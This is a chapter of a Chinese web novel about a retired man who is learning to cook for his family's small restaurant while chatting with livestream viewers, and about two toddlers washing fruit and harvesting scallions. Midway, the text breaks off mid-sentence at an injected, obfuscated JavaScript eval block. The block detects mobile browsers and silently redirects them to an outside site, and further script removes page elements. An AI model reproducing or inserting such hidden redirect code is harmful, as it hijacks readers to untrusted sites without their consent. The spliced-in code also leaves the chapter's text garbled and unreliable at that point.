18.第 18 章
作品:《每天都会收到差评》 顾重山每天除了要做卤菜,还要跟小孙女玩,所以他不会每天都花很多的时间去学做新的菜,一道菜往往都会连做好几天。
而做几天会根据那道菜的对他的困难程度、解压程度有所不同。
顾家小饭馆的顾客在连吃了几天的青椒酿肉后,又连吃了好几天的香菇肉酱。
【顾爷爷,今天做的香菇肉酱好像比前几天多呀?】
待在顾家小饭馆直播间的在线人数比起几天前,翻了好几倍——虽然仍没上三位数。但有十几个人经常会在评论区里跟顾爷爷聊天,所以直播间也没有那么冷清。
而顾重山也在这短短几天的时间里,养成了边做菜边时不时看眼直播间的习惯。
发现顾重山喜欢跟直播间里的顾客聊天后,顾长秦就给他买了无线领夹式麦克风——厨房里的声音很嘈杂,抽油烟机的声音、风扇的声音、与顾客对话的声音……再加上顾重山又戴着口罩,不戴麦克风的话,他常常要提高音量把话重复两三遍,直播间里的顾客才能听清。
顾重山抬头看到那条评论,笑着说:“今天岁岁的好朋友会过来跟她一起吃拌面,所以多准备一些。”
因为他们常叫岁岁的名字,一些来店里买卤菜的老顾客,见到岁岁时也会叫她,所以岁岁的名字直播间里的顾客们都知道。但顾家的大人们会尽量不让岁岁出现在直播间镜头里,所以直播间里的顾客都没怎么见过岁岁,只是会常常听到她叫“爷爷”“爸爸”“妈妈”的声音。
想到两个三四岁的小朋友坐在一起吃拌面,直播间的顾客就觉得好可爱,【顾爷爷,待会给小朋友们留多一些。】
【对,小朋友要多吃一些,才能长高高。】
“好。”顾重山回答。
把所有配菜都备好之后,顾重山开始熬肉酱。
他在锅中倒入大量的食用油,然后把肉末放下去,把水分炒干,等锅中的油脂从浑浊变得透亮,放入葱姜末。翻炒一会儿之后,放入香菇丁。
等把香菇炒熟,在放调味料之前,顾重山拿出一个盘子,用锅铲铲了两大勺香菇肉末放进盘子里。
小孩子的口味淡,这些盛出来的香菇肉酱待会给他们单独调味。
【顾爷爷,其实香菇肉酱不需要每天都熬的。你可以在出锅前加入适量的高度白酒,这样就不容易坏了。我妈妈每次都会做很多,然后把它们装进无水无油干净的密封玻璃罐里,然后放在冰箱里,可以冷藏保存一个月这样。】
顾重山看到这条评论后,没有马上回答,因为放完调味料的香菇肉酱已经快熬好了,他怕自己说话的功夫,就把香菇肉酱熬过头了。
等关了火,把香菇肉酱都倒入干净的盆里后,顾重山才开口说道,“嗯,我知道。”他伸手指了指架在墙面上的手机,“我看的这个教程视频里就放入了高度白酒。但我很喜欢熬香菇肉酱的过程,所以才会每天都做。”
【顾爷爷,你墙上的那部手机一直在放着的,是做香菇肉酱的教程吗?】
因为摄像头角度的关系,所以直播间的顾客只隐约看到手机一直在播放着视频,但视频的内容他们却看不清。
“对,是做香菇肉酱的教程。虽然我已经把所有的步骤都记牢了,但毕竟刚学做这道菜,还是一直放着视频会安心一些。”
【……我以为顾爷爷你是在边看剧边做菜。】
【我也是。】
一位直播间的顾客总觉得顾爷爷说的话有点违和感,是最近新学的香菇肉酱,还是……
他问道:【顾爷爷,你做菜多少年了啊?】
“做卤菜半年,学做其他的菜大概一个多月。”
果然!像这样难度不高的家庭版香菇肉酱,一个有着多年做菜经验的人,就算从没有做过香菇肉酱,把视频看几遍记一下就好了,不需要一直放着做菜教程才能安心。
【???】
【半年?】
【顾爷爷,你之前没做过菜吗?】
顾重山:“没有。”
【…………】
【………………】
直播间的顾客震惊了。
顾爷爷虽然没有正式跟他们介绍过自己,但他们看到顾爷爷的年纪后,就下意识的认为他是有着几十年做菜经验的老师傅。
【可我记得顾家小饭馆好像是开了几十年老店呀?】
一位顾客有些遗忘。他之前跟一位年龄比较大的同事一起点外卖时,那位大哥看到顾家小饭馆的店名后,就点进去看了店家地址,然后说他以前就住在顾家小饭馆后面那栋楼,顾家小饭馆是一家开了几十年的老店,招牌的卤菜和各种小炒菜味道都不错。
因为同事大哥的推荐,他点过一次后,就成了这家店的常客。只是那位同事大哥每次在顾家小饭馆点外卖时,都会疑惑为什么顾家小饭馆现在只有卤菜,没有炒菜了?
【店家换人了吗?】所以现在才没有炒菜了?但同事大哥说卤菜的味道变化不大呀?
“之前是我爸在经营,我们家之前没有人跟我爸去学做菜的手艺,在他年纪大了之后,店就关门了。后来因为一些事情,我们又把点重新开了起来。”
——因为一些事情?
让一位不会做菜、已经到了退休年龄的老人从头开始学习,再次开始忙忙碌碌赚取一份收入,一定是因为家里遇到什么难事了吧?
顾爷爷没有说,直播间里的顾客们也没刨根问底地追问,只是纷纷在评论区里安慰顾爷爷:
【顾爷爷别担心,一切都会好起来的。】
【以后我会常来陪顾爷爷的。】
【我工作的地方太远了,中午没办法在顾爷爷家点午餐,但晚上可以在顾爷爷家点宵夜……晚上出门跑两圈也胖不到哪去。】
【顾爷爷家的卤菜这么好吃,我会跟朋友推荐的。】
顾重山认真看完评论,点头:“好,我会加油的。”
他以为直播间的顾客是因为他刚开始学做菜才鼓励他,并没想到他们之间产生了这么大的误解。
在店门口的岁岁终于等到了小意。
牵着妈妈的手过完马路之后,小意就拿着一袋樱桃朝岁岁跑过来。
大半袋的樱桃随着小意的跑动大幅度晃动,把小意也带得歪歪扭扭的。
岁岁看到后也朝着小意跑过去。
岁岁想帮小意提袋子,小意却用空着的手牵住了岁岁,然后两人牵着手往店里走。
梁思妍看着前面两个牵着手的小朋友。
以前她去幼儿园接小意的时候,常常能看到一见到认识的小朋友,就自动手牵手的小孩子们——那是他们在幼儿园里排队时养成的习惯。
但放学的路上,她从没见过小意去跟班上的小朋友凑在一起走。
现在,她家小意终于有能牵手的好朋友了。
快走到宋婉怡跟前时,梁思妍举起手里的那袋草莓,“看,你最喜欢的那种熟透了、草莓味很浓郁的草莓。我都没敢让小意拿,怕他走路时多甩几下,草莓就要坏掉了。”
从她把小意从爷爷奶奶家抱回来,就跟公司请了几天假。她想多陪陪小意,消除他的一些不安后,再送他去小区内的那家幼儿园。
这几天,小意一直都跟岁岁待在一起。
前两天还是吃了早餐后再来找岁岁,后来知道岁岁每天早上都会给店门口的小草、露台上小菜箱浇水后,他连早餐都不吃了,一起床就赶着出门。
这两天更是一日三餐都在跟着岁岁吃:大早上两
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16078238|177953||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
个小朋友一起浇水,然后一起吃早餐;在空地上跑一上午之后再一起吃午餐;中午回家睡完午觉后,又跑来跟岁岁在露台上待一下午,等他们下到一楼,顾家的餐桌上已经摆好了小意和她的碗筷。
幸好,婉怡从没拦着她买水果,才让她没什么负担跟着小意一起蹭吃蹭喝。
“小意、岁岁,你们今天只洗樱桃好不好?熟透了的草莓洗的时候很容易会把皮弄破,所以草莓就交给我们大人洗好不好。”
两个小朋友待在一起之后,很多事情都想自己做。
这几天的水果都是小朋友们洗的,突然有一样水果不让他们洗了,宋婉怡就对着两个小朋友好好解释。
岁岁:“好~”
小意点头。
宋婉怡把樱桃倒进专门洗水果的盆里,在水槽那把樱桃冲洗了两遍,才重新在盆里接满水然后放到小桌子上。
两个小朋友把手洗干净之后,从盆里拿起一个樱桃后,用两只手把樱桃包住,然后小手左扭扭右转转,就这样开始搓樱桃。
搓了差不多十下,又把樱桃放到盆子里过一下水,再拿起来继续搓。
重复了三遍之后,那一个樱桃才会被放到一旁的小黄鸭餐盘上。
宋婉怡梁思妍:就是知道两位小朋友只会这种洗水果的方式,所以才不让他们洗草莓的,不然他们将得到一盆草莓汁。
他们端着洗好的水果来到露台。
经过十多天,那棵被摘掉花苞的苦苣菜长出了三个小花苞,生菜长出了第六、第七片叶子,而用葱头种的小葱长势最快,葱叶已经长至十多厘米高,可以慢慢采收了。
种生菜的小菜箱在把生菜种上后,也放上了好几只正在种地的陶瓷小兔子。
听到旁边的大人说小葱已经可以摘了,两个蹲在小菜箱前的小朋友回头看了过去。
“妈妈,可以、摘了吗?”岁岁有点兴奋,因为她的浇水,店门口的小草们长得可快了,可是它们长得再好也不能吃。第一次把菜种到可以采收,岁岁就一脸迫不及待地看着她妈妈。
“可以了,岁岁想摘了吗?”
“想~”岁岁赶紧点头。
宋婉怡在一旁的盒子里拿出一把圆头安全剪刀,然后教两个小朋友一手抓住葱叶的上半部分,一手在距离根部两三厘米的地方剪下。
在两位妈妈的护着下,两位小朋友都剪了三棵小葱。
宋婉怡拿起一根小葱,来到了露台角落的水龙头那冲洗干净,然后放进嘴里。
她想试下自家种的小葱辣不辣,不辣的话待会可以撒在香菇肉酱拌面上,如果辣的话就要等晚餐把它们炒熟了再给两位小朋友吃。
“咦?”刚才咬了一口葱白的宋婉怡,又咬了一口葱叶的部分——葱味浓郁,回味甘甜。
就连本该带着一点点微微辣的葱叶,吃起来都是甜的。
怀疑自己味蕾的宋婉怡让梁思妍也试一下。
梁思妍尝了一口后,也有些惊讶:“哇,好清甜。”
“对吧?我吃的时候还以为是自己弄错了。”
梁思妍夸赞:“这小葱长得可真好!”
宋婉怡点头。
但要说长得最好的……
宋婉怡看向角落里那两盆苦苣菜——茎叶舒展,叶色深绿。
无论是在阳光下,还是在阴沉沉的蒙蒙细雨中,看起来都那样的生机勃勃。
让她忍不住拍了好多张照片保存在手机里。
只是……
宋婉怡看向那棵没被摘过花苞的苦苣菜,这么多天了,上面的花苞都没开花,只有一个花苞处于半开状态,而这个状态已经维持了好几天。
她不由地疑惑地想,苦苣菜开花需要这么长的时间吗?

